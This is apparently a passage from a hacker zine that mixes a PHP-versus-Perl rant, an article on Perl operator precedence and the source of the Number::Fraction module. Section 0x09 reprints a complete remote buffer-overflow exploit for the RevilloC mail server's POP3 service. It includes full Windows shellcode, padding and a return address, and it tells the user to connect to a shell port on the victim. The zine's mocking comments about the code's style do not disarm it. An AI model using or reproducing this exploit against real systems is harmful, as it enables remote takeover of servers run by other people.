It's very, very hard to un-learn concise programming and go back to medieval programming times. And converting existing code is even harder. (Also, PHP sucks) Arguments and return values are extremely inconsistent To show this problem, here's a nice table of the functions that match a user defined thing: (with something inconsistent like this, it's amazing to find that the PHP documentation doesn't have such a table. Maybe even PHP people will use this document, just to find out what function to use :P) replaces case gives s/m/x offset matches with insens number arrays matches flags (-1=end) ereg ereg no all no array no 0 ereg_replace ereg str no all no no no 0 eregi ereg yes all no array no 0 eregi_replace ereg str yes all no no no 0 mb_ereg ereg no all no array no 0 mb_ereg_replace ereg str/expr no all no no yes 0 mb_eregi ereg yes all no array no 0 mb_eregi_replace ereg str yes all no no no 0 preg_match preg yes/no one no array yes 0 preg_match_all preg yes/no all no array yes 0 preg_replace preg str/expr yes/no n/all yes no yes 0 str_replace str str no all yes number no 0 str_ireplace str str yes all yes number no 0 strstr, strchr str/char no one no substr no 0 stristr str/char yes one no substr no 0 strrchr char no one no substr no -1 strpos str/char no one no index no n stripos str/char yes one no index no n strrpos char no one no index no n strripos str yes one no index no -1 mb_strpos str no one no index no n mb_strrpos str yes one no index no -1 The problem exists for other function groups too, not just for matching. (In Perl, all the functionality provided by the functions in this table is available through a simple set of 4 operators.) dude, PHP sucks. plain and simple. PHP has no lexical scope Perl has lexical scope and dynamic scope. PHP doesn't have these. For an explanation of why lexical scope is important, see Coping with Scoping. PHP Perl Superglobal Yes Yes Global Yes Yes Function local Yes Yes Lexical (block local) No Yes Dynamic No Yes PHP sucks again. PHP has too many functions in the main namespace (Using the core binaries compiled with all possible extensions in the core distribution, using recent versions in November 2003.) Number of PHP main functions: 3079 Number of Perl main functions: 206 Median PHP function name length: 13 Mean PHP function name length: 13.67 Median Perl function name length: 6 Mean Perl function name length: 6.22 Note that Perl has short syntax equivalents for some functions: readpipe('ls -l') ==> `ls -l` glob('*.txt') ==> <*.txt> readline($fh) ==> <$fh> quotemeta($foo) ==> "\Q$foo" lcfirst($foo) ==> "\l$foo" (lc is \L) ucfirst($foo) ==> "\u$foo" (uc is \U) i'm there to slip in snide comments about how php sucks No real references or pointers No idea of namespace No componentization Wants to be Perl, but doesn't want to be Perl No standard DB interface All PHP community sites are for non-programmers No chained method calls (Not true anymore --tnx.nl) No globals except by importation Both register_globals and $_REQUEST bite Arrays are hashes PEAR just ain't CPAN Arrays cannot be interpolated into strings No "use strict" like checking of variable names php sucks Perl is faster than PHP Perl is more versatile than PHP Perl has better documentation than PHP PHP lacks support for modules PHP's here-docs are useless for Windows users PHP lacks a consistent database API PHP dangerously caches database query results For graphics, PHP is practically limited to GD I think PHP is the language and has applications with the worst security track on the planet. Perl code can also be very insecure, but it's harder, and also most PHP programmers are much more clueless than most Perl programmers. Comparing PHP to CGI/Perl is pointless. Compare PHP to either Apache::EmbPerl or HTML::Mason, and you are starting to get a fair comparison. Having watched PHP develop over the years, it started out as a very simple Perl replacement, but then has been slowly adding features of Perl one by one, but three to five years later. In another five years, it'll probably be where Perl is now. So why wait? With Perl, you get a mature language, and a language that works as well off the web as on. And HTML::Mason and everything else in the CPAN make leveraging other people's implementation a snap for nearly any common task. PHP - it's "training wheels without the bike". Of course you can write complex scripts in PHP - it's Turing complete. It's just painful. -[0x08] # School You: MJD ------------------------------------------------ Just the FAQs: Precedence Problems What is Precedence? What's 2+3�.4? You probably learned about this in grade school; it was fourth-grade material in the New York City public school I attended. If not, that's okay too; I'll explain everything. It's well-known that 2+3�.4 is 14, because you are supposed to do the multiplication before the addition. 3�.4 is 12, and then you add the 2 and get 14. What you do not do is perform the operations in left-to-right order; if you did that you would add 2 and 3 to get 5, then multiply by 4 and get 20. This is just a convention about what an expression like 2+3�.4 means. It's not an important mathematical fact; it's just a rule we set down about how to interpret certain ambiguous arithmetic expressions. It could have gone the other way, or we could have the rule that the operations are always done left-to-right. But we don't have those rules; we have the rule that says that you do the multiplication first and then the addition. We say that multiplication takes precedence over addition. What if you really do want to say `add 2 and 3, and multiply the result by 4'? Then you use parentheses, like this: (2+3)�.4. The rule about parentheses is that expressions in parentheses must always be fully evaluated before anything else. If we always used the parentheses, we wouldn't need rules about precedence. There wouldn't be any ambiguous expressions. We have precedence rules because we're lazy and we like to leave out the parentheses when we can. The fully-parenthesized form is always unambiguous. The precedence rule tells us how to interpret a version with fewer parentheses to decide what it would look like if we wrote the equivalent fully-parenthesized version. In the example above: 2+(3�.4) (2+3)�.4 Is 2+3�.4 like (a) or like (b)? The precedence rule just tells us that it is like (a), not like (b). Rules and More Rules In grade school you probably learned a few more rules: 4 �. 52 Is this the same as (4 x 5)2 = 400 or 4 x (52) = 100 ? The rule is that exponentiation takes precedence over multiplication, so it's the 100, and not 400. What about 8 - 3 + 4? Is this like (8 - 3) + 4 = 9 or 8 - (3 + 4) = 1? Here the rule is a little different. Neither + nor - has precedence over the other. Instead, the - and + are just done left-to-right. This rule handles the case of 8 - 4 - 3 also. Is it (8 - 4) - 3 = 1 or is it 8 - (4 - 3) = 7? Subtractions are done left-to-right, so it's 1 and not 7. A similar left-to-right rule handles ties between * and /. Our rules are getting complicated now: . Exponentiation first . Then multiplication and division, left to right . Then addition and subtraction, left to right Maybe we can leave out the `left-to-right' part and just say that all ties will be broken left-to right? No, because for exponentiation that isn't true. 223 means 2(23) = 256, not (22)3 = 64. So exponentiations are resolved from upper-right to lower-left. Perl uses the token ** to represent exponentiation, writing x**y instead of xy . In this case x**y**z means x**(y**z), not (x**y)**z, so ** is resolved right-to-left. Programming languages have this same notational problem, except that they have it even worse than mathematics does, partly because they have so many different operator symbols. For example, Perl has at least seventy different operator symbols. This is a problem, because communication with the compiler and with other programmers must be unambiguous. You don't want to be writing something like 2+3�.4 and have Perl compute 20 when you wanted 14, or vice versa. Nobody knows a really good solution to this problem, and different languages solve it in different ways. For example, the language APL, which has a whole lot of unfamiliar operators like and , dispenses with precedence entirely and resolves them all from right to left. The advantage of this is that you don't have to remember any rules, and the disadvantage is that many expressions are confusing: If you write 2*3+4, you get 14, not 10. In Lisp the issue never comes up, because in Lisp the parentheses are required, and so there are no ambiguous expressions. (Now you know why Lisp looks the way it does.) Perl, with its seventy operators, has to solve this problem somehow. The strategy Perl takes (and most other programming languages as well) is to take the fourth-grade system and extend it to deal with the new operators. The operators are divided into many `precedence levels', and certain operations, like multiplication, have higher precedence than other operations, like addition. The levels are essentially arbitrary, and are chosen without any deep plan, but with the hope that you will be able to omit most of the parentheses most of the time and still get what you want. So, for example, Perl gives * a higher precedence than +, and ** a higher precedence than *, just like in grade school. An Explosion of Rules Let's see some examples of the reasons for which the precedence levels are set the way they are. Suppose you wrote something like this: $v = $x + 3; This is actually ambiguous. It might mean ($v = $x) + 3; or it might mean $v = ($x + 3); The first of these is silly, because it stores the value $x into $v, and then computes the value of $x+3 and then throws the result of the addition away. In this case the addition was useless. The second one, however, makes sense, because it does the addition first and stores the result into $v. Since people write things like $v = $x + 3; all the time, and expect to get the second behavior and not the first, Perl's = operator has low precedence, lower than the precedence of +, so that Perl makes the second interpretation. Here's another example: $result = $x =~ /foo/; means this: $result = ($x =~ /foo/); which looks to see if $x contains the string foo, and stores a true or false result into $result. It doesn't mean this: ($result = $x) =~ /foo/; which copies the value of $x into $result and then looks to see if $result contains the string foo. In this case it's likely that the programmer wanted the first meaning, not the second. But sometimes you do want it to go the other way. Consider this expression: $p = $q =~ s/w//g; Again, this expression is interpreted this way: $p = ($q =~ s/w//g); All the w's are removed from $q, and the number of successful substitutions is stored into $p. However, sometimes you really do want the other meaning: ($p = $q) =~ s/w//g; This copies the value of $q into $p, and then removes all the w's from $p, leaving $q alone. If you want this, you have to include the parentheses explicitly, because = has lower precedence than =~. Often the rules do what you want. Consider this: $worked = 1 + $s =~ /pattern/; There are five ways to interpret this: ($worked = 1) + ($s =~ /pattern/); (($worked = 1) + $s) =~ /pattern/; ($worked = (1 + $s)) =~ /pattern/; $worked = ((1 + $s) =~ /pattern/); $worked = (1 + ($s =~ /pattern/)); We already know that + has higher precedence than =, so it happens before =, and that rules out (a) and (b). We also know that =~ has higher precedence than =, so that rules out (c). To choose between (d) and (e) we need to know whether + takes precedence over =~ or vice versa. (d) will convert $s to a number, add 1 to it, convert the resulting number to a string, and do the pattern match. That is a pretty silly thing to do. (e) will match $s against the pattern, return a boolean result, add 1 to that result to yield the number 1 or 2, and store the number into $worked. That makes a lot more sense; perhaps $worked will be used later to index an array. We should hope that Perl chooses interpretation (e) rather than (d). And in fact that is what it does, because =~ has higher precedence than +. =~ behaves similarly with respect to multiplication. Our table of precedence is shaping up: 1. ** (right to left) 2. =~ 3. *, / (left to right) 4. +, - (left to right) 5. = How are multiple = resolved? Left to right, or right to left? The question is whether this: $a = $b = $c; will mean this: ($a = $b) = $c; or this: $a = ($b = $c); The first one means to store the value of $b into $a, and then to store the value of $c into $a; this is obviously not useful. But the second one means to store the value of $c into $b, and then to store that value into $a also, and that obviously is useful. So = is resolved right to left. Why does =~ have lower precedence than **? No good reason. It's just a side effect of the low precedence of =~ and the high precedence of **. It's probably very rare to have =~ and ** in the same expression anyway. Perl tries to get the common cases right. Here's another common case: if ($x == 3 && $y == 4) { ... } Is this interpreted as: (($x == 3) && $y) == 4 ($x == 3) && ($y == 4) ($x == ( 3 && $y)) == 4 $x == ((3 && $y) == 4) $x == ( 3 && ($y == 4)) We really hope that it will be (b). To make (b) come out, && will have to have lower precedence than ==; if the precedence is higher we'll get (c) or (d), which would be awful. So && has lower precedence than ==. If this seems like an obvious decision, consider that Pascal got it wrong. || has precedence about the same as &&, but slightly lower, in accordance with the usual convention of mathematicians, and by analogy with * and +. ! has high precedence, because when people write !$x .....some long complicated expression.... they almost always mean that the ! applies to the $x, not to the entire long complicated expression. In fact, almost the only time they don't mean this is in cases like this one: if (! $x->{'annoying'}) { ... } it would be very annoying if this were interpreted to mean if ((! $x)->{'annoying'}) { ... } The same argument we used to explain why ! has high precedence works even better and explains why -> has even higher precedence. In fact, -> has the highest precedence of all. If ## and @@ are any two operators at all, then $a ## $x->$y and $x->$y @@ $b always mean $a ## ($x->$y) and ($x->$y) @@ $b and not ($a ## $x)->$y or $x->($y @@ $b) For a long time, the operator with lowest precedence was the , operator. The , operator is for evaluating two expressions in sequence. For example $a*=2 , $c*=3 doubles $a and triples $c. It would be a shame if you wrote something like this: $a*=2 , $c*=3 if $change_the_variables; and Perl interpreted it to mean this: $a*= (2, $c) *= 3 if $change_the_variables; That would just be bizarre. The very very low precedence of , ensures that you can write EXPR1, EXPR2 for any two expressions at all, and be sure that they are not going to get mashed together to make some nonsense expression like $a*= (2, $c) *= 3. , is also the list constructor operator. If you want to make a list of three things, you have to write @list = ('Gold', 'Frankincense', 'Myrrh'); because if you left off the parentheses, like this: @list = 'Gold', 'Frankincense', 'Myrrh'; what you would get would be the same as this: (@list = 'Gold'), 'Frankincense', 'Myrrh'; This assigns @list to have one element (Gold) and then executes the two following expressions in sequence, which is pointless. So this is a prime example of a case where the default precedence rules don't do what you want. But people are already in the habit of putting parentheses around their list elements, so nobody minds this very much, and the problem isn't really a problem at all. Precedence Traps and Surprises This very low precedence for , causes some other problems, however. Consider this common idiom: open(F, "< $file") || die "Couldn't open $file: $!"; This tries to open a filehandle, and if it can't it aborts the program with an error message. Now watch what happens if you leave the parentheses off the open call: open F, "< $file" || die "Couldn't open $file: $!"; , has very low precedence, so the || takes precedence here, and Perl interprets this expression as if you had written this: open F, ("< $file" || die "Couldn't open $file: $!"); This is totally bizarre, because the die will only be executed when the string "< $file" is false, which never happens. Since the die is controlled by the string and not by the open call, the program will not abort on errors the way you wanted. Here we wish that || had lower precedence, so that we could write try to perform big long hairy complicated action || die ; and be sure that the || was not going to gobble up part of the action the way it did in our open example. Perl 5 introduced a new version of || that has low precedence, for exactly this purpose. It's spelled or, and in fact it has the lowest precedence of all Perl's operators. You can write try to perform big long hairy complicated action or die ; and be quite sure that or will not gobble up part of the action the way it did in our open example, whether or not you leave off the parentheses. To summarize: open(F, "< $file") or die "Couldn't open $file: $!"; # OK open F, "< $file" or die "Couldn't open $file: $!"; # OK open(F, "< $file") || die "Couldn't open $file: $!"; # OK open F, "< $file" || die "Couldn't open $file: $!"; # Whooops! If you use or, you're safe from this error, and if you always put in the parentheses, you're safe. Pick a strategy you like and stick with it. The other big use of || is to select a value from the first source that provides it. For example: $directory = $opt_D || $ENV{DIRECTORY} || $DEFAULT_DIRECTORY; It looks to see if there was a -D command-line option specifying the directory first; if not, it looks to see if the user set the DIRECTORY environment variable; if neither of these is set, it uses a hard-wired default directory. It gets the first value that it can, so, for example, if you have the environment variable set and supply an explicit -D option when you run the program, the option overrides the environment variable. The precedence of || is higher than that of =, so this means what we wanted: $directory = ($opt_D || $ENV{DIRECTORY} || $DEFAULT_DIRECTORY); But sometimes people have a little knowledge and end up sabotaging themselves, and they write this: $directory = $opt_D or $ENV{DIRECTORY} or $DEFAULT_DIRECTORY; or has very very very low precedence, even lower than =, so Perl interprets this as: ($directory = $opt_D) or $ENV{DIRECTORY} or $DEFAULT_DIRECTORY; $directory is always assigned from the command-line option, even if none was set. Then the values of the expressions $ENV{DIRECTORY} and $DEFAULT_DIRECTORY are thrown away. Perl's -w option will warn you about this mistake if you make it. To avoid it, remember this rule of thumb: use || for selecting values, and use or for controlling the flow of statements. List Operators and Unary Operators A related problem is that all of Perl's `list operators' have high precedence, and tend to gobble up everything to their right. (A `list operator' is a Perl function that accepts a list of arguments, like open as above, or print.) We already saw this problem with open. Here's a similar sort of problem: @successes = (unlink $new, symlink $old, $new, open N, $new); This isn't even clear to humans. What was really meant was @successes = (unlink($new), symlink($old, $new), open(N, $new)); which performs the three operations in sequence and stores the three success-or-failure codes into @successes. But what Perl thought we meant here was something totally different: @successes = (unlink($new, symlink($old, $new, open(N, $new)))); It thinks that the result of the open call should be used as the third argument to symlink, and that the result of symlink should be passed to unlink, which will try to remove a file with that name. This won't even compile, because symlink needs two arguments, not three. We saw one way to dismbiguate this; another is to write it like this: @successes = ((unlink $new), (symlink $old, $new), (open N, $new)); Again, pick a style you like and stick with it. Why do Perl list operators gobble up everything to the right? Often it's very handy. For example: @textfiles = grep -T, map "$DIRNAME/$_", readdir DIR; Here Perl behaves as if you had written this: @textfiles = grep(-T, (map("$DIRNAME/$_", (readdir(DIR))))); Some filenames are read from the dirhandle with readdir and the resulting list is passed to map, which turns each filename into a full path name and returns a list of paths. Then grep filters the list of paths, extracts all the paths that refer to text files, and returns a list of just the text files from the directory. One possibly fine point is that the parentheses might not always mean what you want. For example, suppose you had this: print $a, $b, $c; Then you discover that you need to print out double the value of $a. If you do this you're safe: print 2*$a, $b, $c; but if you do this, you might get a surprise: print (2*$a), $b, $c; If a list operator is followed by parentheses, Perl assumes that the parentheses enclose all the arguments, so it interprets this as: (print (2*$a)), $b, $c; It prints out twice $a, but doesn't print out $b or $c at all. (Perl will warn you about this if you have -w on.) To fix this, add more parentheses: print ((2*$a), $b, $c); Some people will suggest that you do this instead: print +(2*$a), $b, $c; Perl does what you want here, but I think it's bad advice because it looks bizarre. Here's a similar example: print @items, @more_items; Say we want to join up the @items with some separator, so we use join: print join '---', @items, @more_items; Oops; this is wrong; we only want to join @items, not @more_items also. One way we might try to fix this is: print (join '---', @items), @more_items; This falls afoul of the problem we just saw: Perl sees the parentheses, assumes that they contain the arguments of print, and never prints @more_items at all. To fix, use print ((join '---', @items), @more_items); or print join('---', @items), @more_items; Sometimes you won't have this problem. Some of Perl's built-in functions are unary operators, which means that they always get exactly one argument. defined and uc are examples. They don't have the problem that the list operators have of gobbling everything to the right; the only gobble one argument. Here's an example similar to the one I just showed: print $a, $b; Now we decide we want to print $a in all lower case letters: print lc $a, $b; Don't we have the same problem as in the print join example? If we did, it would print $b in all lower case also. But it doesn't, because lc is a unary operator and only gets one argument. This doesn't need any fixing. left terms and list operators (leftward) left -> nonassoc ++ -- right ** right ! ~ \ and unary + and - left =~ !~ left * / % x left + - . left << >> nonassoc named unary operators nonassoc < > <= >= lt gt le ge nonassoc == != <=> eq ne cmp left & left | ^ left && left || nonassoc .. ... right ?: right = += -= *= etc. left , => nonassoc list operators (rightward) right not left and left or xor This is straight out of the perlop manual page that comes with Perl. left and right mean that the operators associate to the left or the right, respectively; nonassoc means that the operators don't associate at all. For example, if you try to write $a < $b < $c Perl will deliver a syntax error message. Perhaps what you really meant was $a < $b && $b < $c The precedence table is much too big and complicated to remember; that's a problem with Perl's approach. You have to trust it to handle to common cases correctly, and be prepared to deal with bizarre, hard-to-find bugs when it doesn't do what you wanted. The alternatives, as I mentioned before, have their own disadvantages. How to Remember all the Rules Probably the best strategy for dealing with Perl's complicated precedence hierarchy is to cluster the operators in your mind: Arithmetic: +, -, *, /, %, ** Bitwise: &, |, ~, <<, >> Logical: &&, ||, ! Comparison: ==, !=, >=, <=, >, < Assignment: =, +=, -=, *=, /=, etc. and try to remember how the operators behave within each group. Mostly the answer will be `they behave as you expect'. For example, the operators in the `arithmetic' group all behave the according to the rules you learned in fourth grade. The `comparison' group all have about the same precedence, and you aren't allowed to mix them anyway, except to say something like $a<$b == $c<$d which compares the truth values of $a<$b and $c<$d. Then, once you're familiar with the rather unsurprising behavior of the most common groups, just use parentheses liberally everywhere else. -[0x09] # Who are these losers? ------------------------------------------ #!/usr/bin/perl -w #revilloC mail server PoC exploit ( for xp sp1) # Discovered securma massine from MorX Security Research Team (http://www.morx.org). #RevilloC is a MailServer and Proxy v 1.21 (http://www.revilloC.com) #The mail server is a central point for emails coming in and going out from home or office #The service will work with any standard email client that supports POP3 and SMTP. #by sending a large buffer after USER commands #C:\>nc 127.0.0.1 110 #+OK RevilloC POP3 Ready #USER "A" x4081 + "\xff"x4 + "\xdd"x4 + "\x0d\x0a" (xp sp2) #we have: #access violation when reading [dddddddd]. #ntdll!wcsncat+0x387: #7C92B3FB 8B0B MOV ECX,DWORD PTR DS:[EBX] --->EBX pointe to "\xdd"x4 #ECX dddddddd #EAX FFFFFFFF #Vendor contacted 14/01/2006 , No response,No patch. #this entire document is for eductional, testing and demonstrating purpose only. #greets all MorX members,undisputed,sara # NEW RULE: Use POD if you're going to comment so much shit # Or something. Quote it for all I care #!/usr/bin/perl -w # oh yeah, two shebang lines use IO::Socket; # why must it all be tabbed? was this your doing? if ($#ARGV<0) # yuck yuck yuck { print "\n write the target IP!! \n\n"; exit; } $shellcode = "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33". "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C". "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE". "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB". "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77". "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77". "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77". "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77". "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77". "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77". "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77". "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77". "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77". "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB". "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C". "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0". "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77". "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0". "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB". "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5". "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98". "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE". "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77". "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8". "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF". "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90". "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74". "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4". "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94". "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5". "\xD3\x4A\x8C\x88"; $buffer = "\x90"x3601; $eax ="\x83\xb5\x19\x01"; # change if needed $peb= "\x20\xf0\xfd\x7f"; #PEB lock $user ="USER "; $enter = "\x0d\x0a"; $connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]", # quote quote PeerPort=>"110"); unless ($connect) { die "cant connect" } # or die "you stupid moron"; # clean it up a bit. set $\ to "\n" print "\nRevilloC mail server remote PoC exploit by securma massine\n"; print "\nsecurma\@morx.org\n"; print "\n+++++++++++www.morx.org++++++++++++++++\n"; $connect->recv($text,128); print "$text\n"; print "[+] Sent USER\n"; $connect->send($user . $buffer . $shellcode . $eax . $peb . $enter); print "[+] Sent shellcode..telnet to victim host port 9191\n"; # how do you make something so simple so ugly? # why do you bloat it so? # why can it not be elegent? # why must you make it HURT -[0x0A] # School You: davorg --------------------------------------------- # $Id: Fraction.pm,v 1.9 2006/03/02 13:00:05 dave Exp $ =head1 NAME Number::Fraction - Perl extension to model fractions =head1 SYNOPSIS use Number::Fraction; my $f1 = Number::Fraction->new(1, 2); my $f2 = Number::Fraction->new('1/2'); my $f3 = Number::Fraction->new($f1); # clone my $f4 = Number::Fraction->new; # 0/1 or use Number::Fraction ':constants' my $f1 = '1/2'; my $one = $f1 + $f2; my $half = $one - $f1; print $half; # prints '1/2' =head1 ABSTRACT Number::Fraction is a Perl module which allows you to work with fractions in your Perl programs. =head1 DESCRIPTION Number::Fraction allows you to work with fractions (i.e. rational numbers) in your Perl programs in a very natural way. It was originally written as a demonstration of the techniques of overloading. If you use the module in your program in the usual way use Number::Fraction; you can then create fraction objects using Cnew> in a number of ways. my $f1 = Number::Fraction->new(1, 2); creates a fraction with a numerator of 1 and a denominator of 2. my $f2 = Number::Fraction->new('1/2'); does the same thing but from a string constant. my $f3 = Number::Fraction->new($f1); makes C<$f3> a copy of C<$f1> my $f4 = Number::Fraction->new; # 0/1 creates a fraction with a denominator of 0 and a numerator of 1. If you use the alterative syntax of use Number::Fraction ':constants'; then Number::Fraction will automatically create fraction objects from string constants in your program. Any time your program contains a string constant of the form C<\d+/\d+> then that will be automatically replaced with the equivalent fraction object. For example my $f1 = '1/2'; Having created fraction objects you can manipulate them using most of the normal mathematical operations. my $one = $f1 + $f2; my $half = $one - $f1; Additionally, whenever a fraction object is evaluated in a string context, it will return a string in the format x/y. When a fraction object is evaluated in a numerical context, it will return a floating point representation of its value. Fraction objects will always "normalise" themselves. That is, if you create a fraction of '2/4', it will silently be converted to '1/2'. =cut package Number::Fraction; use 5.006; use strict; use warnings; use Carp; our $VERSION = sprintf "%d.%02d", '$Revision: 1.9 $ ' =~ /(\d+)\.(\d+)/; use overload q("") => 'to_string', '0+' => 'to_num', '+' => 'add', '*' => 'mult', '-' => 'subtract', '/' => 'div', fallback => 1; my %_const_handlers = (q => sub { return __PACKAGE__->new($_[0]) || $_[1] }); =head2 import Called when module is Cd. Use to optionally install constant handler. =cut sub import { overload::constant %_const_handlers if $_[1] and $_[1] eq ':constants'; } =head2 unimport Be a good citizen and uninstall constant handler when caller uses C. =cut sub unimport { overload::remove_constant(q => undef); } =head2 new Constructor for Number::Fraction object. Takes the following kinds of parameters: =over 4 =item * A single Number::Fraction object which is cloned. =item * A string in the form 'x/y' where x and y are integers. x is used as the numerator and y is used as the denominator of the new object. =item * Two integers which are used as the numerator and denominator of the new object. =item * A single integer which is used as the numerator of the the new object. The denominator is set to 1. =item * No arguments, in which case a numerator of 0 and a denominator of 1 are used. =back Returns C if a Number::Fraction object can't be created. =cut sub new { my $class = shift; my $self; if (@_ >= 2) { return unless $_[0] =~ /^-?\d+$/ and $_[1] =~ /^-?\d+$/; $self->{num} = $_[0]; $self->{den} = $_[1]; } elsif (@_ == 1) { if (ref $_[0]) { if (UNIVERSAL::isa($_[0], $class)) { return $class->new($_[0]->{num}, $_[0]->{den}); } else { croak "Can't make a $class from a ", ref $_[0]; } } else { return unless $_[0] =~ m|^(-?\d+)(?:/(-?\d+))?$|; $self->{num} = $1; $self->{den} = defined $2 ? $2 : 1; } } else { $self->{num} = 0; $self->{den} = 1; } bless $self, $class; $self->_normalise; return $self; } sub _normalise { my $self = shift; my $hcf = _hcf($self->{num}, $self->{den}); for (qw/num den/) { $self->{$_} /= $hcf; } if ($self->{den} < 0) { for (qw/num den/) { $self->{$_} *= -1; } } } =head2 to_string Returns a string representation of the fraction in the form "numerator/denominator". =cut sub to_string { my $self = shift; if ($self->{den} == 1) { return $self->{num}; } else { return "$self->{num}/$self->{den}"; } } =head2 to_num Returns a numeric representation of the fraction by calculating the sum numerator/denominator. Normal caveats about the precision of floating point numbers apply. =cut sub to_num { my $self = shift; return $self->{num} / $self->{den}; } =head2 add Add a value to a fraction object and return a new object representing the result of the calculation. The first parameter is a fraction object. The second parameter is either another fraction object or a number. =cut sub add { my ($l, $r, $rev) = @_; if (ref $r) { if (UNIVERSAL::isa($r, ref $l)) { return (ref $l)->new($l->{num} * $r->{den} + $r->{num} * $l->{den}, $r->{den} * $l->{den}); } else { croak "Can't add a ", ref $l, " to a ", ref $l; } } else { if ($r =~ /^[-+]?\d+$/) { return $l + (ref $l)->new($r, 1); } else { return $l->to_num + $r; } } } =head2 mult Multiply a fraction object by a value and return a new object representing the result of the calculation. The first parameter is a fraction object. The second parameter is either another fraction object or a number. =cut sub mult { my ($l, $r, $rev) = @_; if (ref $r) { if (UNIVERSAL::isa($r, ref $l)) { return (ref $l)->new($l->{num} * $r->{num}, $l->{den} * $r->{den}); } else { croak "Can't multiply a ", ref $l, " by a ", ref $l; } } else { if ($r =~ /^[-+]?\d+$/) { return $l * (ref $l)->new($r, 1); } else { return $l->to_num * $r; } } } =head2 subtract Subtract a value from a fraction object and return a new object representing the result of the calculation. The first parameter is a fraction object. The second parameter is either another fraction object or a number. =cut sub subtract { my ($l, $r, $rev) = @_; if (ref $r) { if (UNIVERSAL::isa($r, ref $l)) { return (ref $l)->new($l->{num} * $r->{den} - $r->{num} * $l->{den}, $r->{den} * $l->{den}); } else { croak "Can't subtract a ", ref $l, " from a ", ref $l; } } else { if ($r =~ /^[-+]?\d+$/) { $r = (ref $l)->new($r, 1); return $rev ? $r - $l : $l - $r; } else { return $rev ? $r - $l->to_num : $l->to_num - $r; } } } =head2 div Divide a fraction object by a value and return a new object representing the result of the calculation. The first parameter is a fraction object. The second parameter is either another fraction object or a number. =cut sub div { my ($l, $r, $rev) = @_; if (ref $r) { if (UNIVERSAL::isa($r, ref $l)) { return (ref $l)->new($l->{num} * $r->{den}, $l->{den} * $r->{num}); } else { croak "Can't divide a ", ref $l, " by a ", ref $l; } } else { if ($r =~ /^[-+]?\d+$/) { $r = (ref $l)->new($r, 1); return $rev ? $r / $l : $l / $r; } else { return $rev ? $r / $l->to_num : $l->to_num / $r; } } } sub _hcf { my ($x, $y) = @_; ($x, $y) = ($y, $x) if $y > $x; return $x if $x == $y; while ($y) { ($x, $y) = ($y, $x % $y); } return $x; } 1; __END__ =head2 EXPORT None by default. =head1 SEE ALSO perldoc overload =head1 AUTHOR Dave Cross, Edave@dave.org.ukE =head1 COPYRIGHT AND LICENSE Copyright 2002 by Dave Cross This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut # # $Log: Fraction.pm,v $ # Revision 1.9 2006/03/02 13:00:05 dave # A couple of patches supplied by David Westbrook. # # Revision 1.8 2005/10/22 21:19:07 dave # Added new tests. # # Revision 1.7 2004/10/23 10:42:56 dave # Improved test coverage (to 100% - Go Me!) # # Revision 1.6 2004/05/23 12:18:13 dave # Changed pod tests. # Updated my email address in Makefile.PL # # Revision 1.5 2004/05/22 21:15:10 dave # Added more tests. # Fixed a couple of bugs that they uncovered. # # Revision 1.4 2004/04/28 08:37:39 dave # Added negative tests to MANIFEST # # Revision 1.3 2004/04/27 13:12:48 dave # Added support for negative numbers. # # Revision 1.2 2003/02/19 20:01:25 dave # Correct '+0' to '0+'. # Added "fallback" - which allowed me to remove cmp and ncmp. # 